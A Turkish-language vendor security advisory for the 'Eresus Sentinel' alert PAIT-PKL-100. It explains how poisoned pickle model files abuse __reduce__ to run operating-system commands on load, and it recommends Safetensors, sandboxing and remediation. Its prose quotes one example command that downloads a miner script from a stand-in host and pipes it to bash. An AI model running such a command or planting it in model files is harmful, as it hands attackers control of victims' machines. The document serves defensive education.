Python Pickle Arbitrary Code Execution (Rastgele Kod Çalıştırma) Algılandı
Genel Bakış
Python diline ait yerleşik pickle kütüphanesi, karmaşık veri nesnelerini serileştirmek (kaydetmek) ve geri okumak (deserialization) için onlarca yıldır ML sektörünün altın standardıydı. Modellerin ağırlıkları, veri setleri ve sinir ağı haritaları sıklıkla .pkl, .bin, .pt veya .pth uzantılı dosyalar halinde depolanır.
Bununla birlikte, pickle mimarisi doğalgaz kaçağı kadar tehlikelidir. Python resmi belgeleri dahi "Güvenilmeyen kaynaklardan alınan pickle verilerini kesinlikle okutmayın, rastgele kod çalıştırabilir!" şeklinde uyarılar yayımlamıştır. Çünkü Pickle veriyi okurken aslında ufak bir sanal makineyi (VM) çalıştırıp komut kümelerini (opcodes) işler.
Eğer Eresus Sentinel ağınızda bir PAIT-PKL-100 alarmı verdiyse; yüklemeye çalıştığınız Python model paketinin içinde doğrudan işletim sistemi komutu (OS commands) çalıştırmaya programlanmış, kötü niyetli ve silahlandırılmış kancalar tespit edilmiş demektir.
Suiistimalin Kalbi: __reduce__ Metodu
Tehdit aktörleri standart bir modeli zehirlemek için Python'un meşhur "Sihirli Metodu" (Magic Method) olan __reduce__ yapısını kurgularlar. Bu kod, dosya belleğe yüklenirken objenin nasıl deşifre edileceğine karar verir. Saldırgan __reduce__ metodundan Python'un kendi sistem okuyucusu olan os.system veya subprocess kütüphanesini çağırır. Modelin içine ise siber eylem olan wget http://malware.com/miner.sh | bash emrini gömer.
Kurumdaki veri bilimciniz merak edip sadece pickle.load(dosya) komutunu girip modeli "incelemek" istediği o ilk milisaniyede komut çalışır ve şirket bilgisayarının kontrolü karşıya geçer.
Saldırı Nasıl Gerçekleşiyor (How The Attack Works)
Korsanlar, Hugging Face, GitHub veya Kaggle gibi açık platformlara "En iyi Yapay Zeka Modeli" maskesiyle zehirli .pkl dosyaları yüklerler. Kullanıcı, modeli makinesine indirip Python'da okutmaya başladığı an enfekte olmuş dizin (Bytecodes) çalışarak sunucuya arka kapı kurar.
sequenceDiagram
participant Saldirgan as Saldırgan
participant Dosya_Alani as Model Havuzu (Hugging Face)
participant MLOps_Uzmani as Kurban (Veri Bilimci)
participant Python_VM as Python Interpreter
participant OS as Kurbanın İşletim Sistemi
Saldirgan->>Dosya_Alani: __reduce__ ile 'os.system' çağıran zehirli bir model eklenir
Saldirgan->>Dosya_Alani: Zehirli dosya (model.pkl) adıyla MLOps sitelerinde yayımlanır
MLOps_Uzmani->>Dosya_Alani: Kurum içi projede denemek üzere modeli bilgisayarına indirir
MLOps_Uzmani->>Python_VM: Hiçbir şüphe duymadan 'pickle.load(model)' komutunu yazar
Python_VM->>OS: Veri okunurken arkadaki sistem komutu RAM'e çıkar ve çalıştırılır
OS-->>Saldirgan: Cihazın tam yetkisi, şirket dosyaları ve şifreler saldırgana açılır
Önemli Noktalar
- Sıfır-Tık (Zero-Click) Sömürü: Modelin aktif edilmesine, bir tahmin yapmasına veya kod derlenmesine gerek yoktur. Zafiyet sadece dosyayı RAM'e çeken "load" emriyle patlak verir.
- Geleneksel Antivirüslerin Körlüğü: Zehirli Pickle kodları doğrudan Python'un bytecode dökümleriyle işlendiğinden
.exeveya script formatlarında gizlenmezler. Genelde şirket güvenlik duvarlarını (EDR/XDR sistemlerini) rahatlıkla baypas ederler.
Etkisi
Zehirli bir .pkl veya .pt (PyTorch) modelini okutmak, saldırgana kodu yürüten kullanıcının makinesindeki tüm yetkileri teslim eder. Kurban veri bilimcisinin ortamındaysa .aws/credentials ve özel VPN sertifikaları çalınır. Eğer bu dosya doğrudan üretim (Production / Inference) sanal sunucularında okutulursa; Kubernetes altyapısı rehin alınabilir ve kurumun o an işlediği müşterilere ait gerçek veriler saldırganın komuta kontrol (C2) sunucusuna pompalanır.
En İyi Çözüm Pratikleri
Yapay zeka operasyon ağınızı serileştirme saldırılarına (Deserialization attacks) kapatmak için:
- Pickle Formundan Kesinlikle Vazgeçin: Kurum içindeki MLOps yapınızı Pickle tabanlı kaydetme/yükleme araçlarından arındırın. İçerisinde kod çalışmasına mani olan, salt-veri barındırıp sadece matematik matrislerini saklayan Safetensors veya ONNX formatlarına geçiş yapın.
- Kaynağı Belirsiz Platformlar: Popüler ama doğrulanmamış şahsi yayıncılardan (Hugging Face user hesapları gibi) alınan dosyaları şirketin üretim hattına dahil etmeyin.
- İzole Okuma: Eski tip
.pklağırlıklarını illa okutmanız gerekiyorsa, bunu internet erişimi olmayan özel "Sandbox" (Kum havuzu) containerlarında gerçekleştirin.
İyileştirme (Remediation)
Eresus Sentinel siber ağınızda PAIT-PKL-100 koduyla bir model durdurduysa derhal sunucuyu fişten çekip karantinaya alın. Söz konusu şüpheli dosyayı tüm şirket repolarından ve developer bilgisayarlarından fiziksel olarak silin. Olaydan hemen önce siber adli bilişim analizi yaparak kodun sistemden veri sızdırıp sızdırmadığını teyit edin. Gelecekte MLOps süreçlerinizi her zaman Safetensors kurgularıyla yürütmeye özen gösterin.
İleri Okumalar ve Kaynaklar (Further Reading)
Yapay zeka modellerinin taşıdığı format güvenlik zafiyetleri üzerine derinleşmek için aşağıdaki akademik ve kurumsal analiz raporlarını okuyabilirsiniz:
- Hugging Face Güvenlik Mimarisinde Pickle Zafiyetleri: Açık kaynak ML topluluğunun
Safetensorsformatına mecburi geçiş hikayesi. - Python Resmi Belgelerinde Güvenlik İkazları: Python geliştiricilerince yayımlanan Pickle tehlike kılavuzu.
- OWASP Deserialization Güvenlik Açıkları: Güvenilmeyen bir byte diziliminin RAM'de nesneye dönüştürülmesinin yazılım güvenlik temellerindeki yeri.
📥 Eresus Sentinel Pickle Zafiyetlerini Cihazınıza Yüklenmeden Parçalar
Yapay zeka mühendisleriniz daha kodu çağıran load() tuşuna basmadan önce, Eresus Sentinel eski sistem .pkl, .bin, .pt dosyalarının içine statik okumalar yaparak gömülü __reduce__ tuzaklarını tespit ve imha eder. ML ağınızı sürpriz saldırılardan koruyun.